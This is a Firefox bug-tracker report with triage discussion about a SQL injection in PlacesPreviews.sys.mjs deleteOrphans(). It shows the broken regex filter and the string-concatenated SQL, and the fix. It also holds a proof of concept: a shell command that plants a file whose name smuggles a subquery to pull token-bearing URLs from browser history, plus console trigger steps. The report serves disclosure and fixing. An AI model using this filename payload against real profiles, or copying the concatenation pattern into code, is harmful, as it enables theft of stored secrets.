Open Bug 2010738 Opened 26 days ago Updated 15 days ago

SQL Injection in PlacesPreviews.sys.mjs deleteOrphans() via Broken Filter and malicious file created in the profile

Categories

(Toolkit :: Places, defect, P3)

Firefox 147
defect

Tracking

()

Tracking Status
firefox-esr115 --- disabled
firefox-esr140 --- disabled
firefox147 --- disabled
firefox148 --- disabled
firefox149 --- disabled

People

(Reporter: cy1yang, Unassigned)

References

Details

(Keywords: reporter-external, sec-audit, Whiteboard: [unsupported feature, requires local file access][sng])

Attachments

(1 file)

2.32 KB, text/javascript
Details
Attached file poc.js

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Steps to reproduce:

Quick Validation

Paste the attached poc.js in Browser Console (Ctrl+Shift+J / Cmd+Shift+J) and run.

It would first enable the places.previews.enabled option and then inject the SQL to grab the tokens stored in your browser.

File-based - Real Attack Scenario

# Find Firefox profile directory
# For MacOS, it should be ~/Library/Application Support/Firefox/Profiles
PROFILE=$(find ~/.mozilla/firefox -name "*.default*" -type d 2>/dev/null | head -1)

# Create places-previews directory
mkdir -p "$PROFILE/places-previews"

# Create file with SQL injection payload to extract tokens
touch "$PROFILE/places-previews/' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '.webp"

echo "Malicious file created in: $PROFILE/places-previews/"

Step 2: Wait for automatic trigger OR trigger manually

Option A - Automatic (no console required):

  • deleteOrphans() is called automatically by PlacesDBUtils.maintenanceOnIdle()
  • This runs during browser idle time (approximately every 7 days)
  • If places.previews.enabled is true, the SQL injection will execute automatically

Option B - Manual trigger (Browser Console: Ctrl+Shift+J):

Services.prefs.setBoolPref("places.previews.enabled", true);
ChromeUtils.importESModule("resource://gre/modules/PlacesPreviews.sys.mjs").PlacesPreviews.deleteOrphans();

Step 3: Observe SQL injection in Browser Console

Actual results:

For quick validation, you will see:

=== PlacesPreviews SQL Injection - Token Extraction PoC ===

Adding simulated sensitive URLs to history...
  Added: https://api.github.com/user?access_token=ghp_SECRET...

Tokens in Places database:
  🔑 access_token = ghp_SECRET_TOKEN_12345

SQL Injection payload: ' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '
✓ SQL injection confirmed: payload reached DB

=== VULNERABILITY CONFIRMED ===

For file-based,

Services.prefs.setBoolPref("places.previews.enabled", true);
ChromeUtils.importESModule("resource://gre/modules/PlacesPreviews.sys.mjs").PlacesPreviews.deleteOrphans();
Promise { <state>: "pending" }

Error: Error(s) encountered during statement execution: near ")": syntax error Sqlite.sys.mjs:1093:25

This proves the vulnerability:

  • ✅ The malicious filename bypassed the broken filter
  • ✅ The filename content reached the SQL engine
  • ✅ The ) character from our payload caused an SQL syntax error

Expected results:

Analysis

SQL injection caused by two bugs in deleteOrphans() (lines 386-415, toolkit/components/places/PlacesPreviews.sys.mjs):

Bug 1: Broken Filter (Line 393)

.filter(() => /^[a-f0-9]{32}\.webp$/)  // BROKEN: Never calls .test()

The arrow function () => /regex/ returns a truthy regex object for ALL elements, never actually testing filenames.

Bug 2: SQL String Concatenation (Line 402)

VALUES ${hashes.map(h => `('${h}')`).join(", ")}

Filenames concatenated directly into SQL without parameterized queries.


Affected Code

PlacesPreviews.sys.mjs:393

.filter(() => /^[a-f0-9]{32}\.webp$/)

PlacesPreviews.sys.mjs:402

VALUES ${hashes.map(h => `('${h}')`).join(", ")}

Expected results

  1. Filter should test filenames: .filter(f => /^[a-f0-9]{64}\.webp$/.test(f))
  2. Use parameterized queries (correct pattern exists at lines 170-176)

Create file with SQL injection payload to extract tokens

touch "$PROFILE/places-previews/' || (SELECT url FROM moz_places WHERE url LIKE '%token%' LIMIT 1) || '.webp"

Presumably this requires local file access? Is there any way to cause such a file to be created from the web?

If you have local file access, you could just read the sqlite file, right?

Component: Untriaged → Places
Flags: needinfo?(cy1yang)
Product: Firefox → Toolkit
Summary: SQL Injection in PlacesPreviews.sys.mjs deleteOrphans() via Broken Filter → SQL Injection in PlacesPreviews.sys.mjs deleteOrphans() via Broken Filter and malicious file created in the profile

Oh, thanks so much for pointing that out — and for the quick response!

Yes — the file-based PoC assumes the attacker can create a file under $PROFILE/places-previews/. I’m not aware of a web-only path to do this.
If the attacker already has full read access to the profile, they can read places.sqlite directly, so the practical severity is reduced.

Thus, this looks more like a correctness/safety bug: the filename filter is ineffective and untrusted strings are concatenated into SQL

Flags: needinfo?(cy1yang)

Fwiw, places.previews.enabled is not an officially supported pref, it is a reimnant from a different project that potentially we planned to reuse in the future, after an appropriate review pass. The pref is hidden and must be explicitly created.

It's a good idea to add some sanity check anyway, and better consider this attack path in the future.

Group: firefox-core-security
Keywords: sec-other
Whiteboard: [unsupported feature, requires local file access]

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Severity: -- → S3
Priority: -- → P3
Whiteboard: [unsupported feature, requires local file access] → [unsupported feature, requires local file access][sng]
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: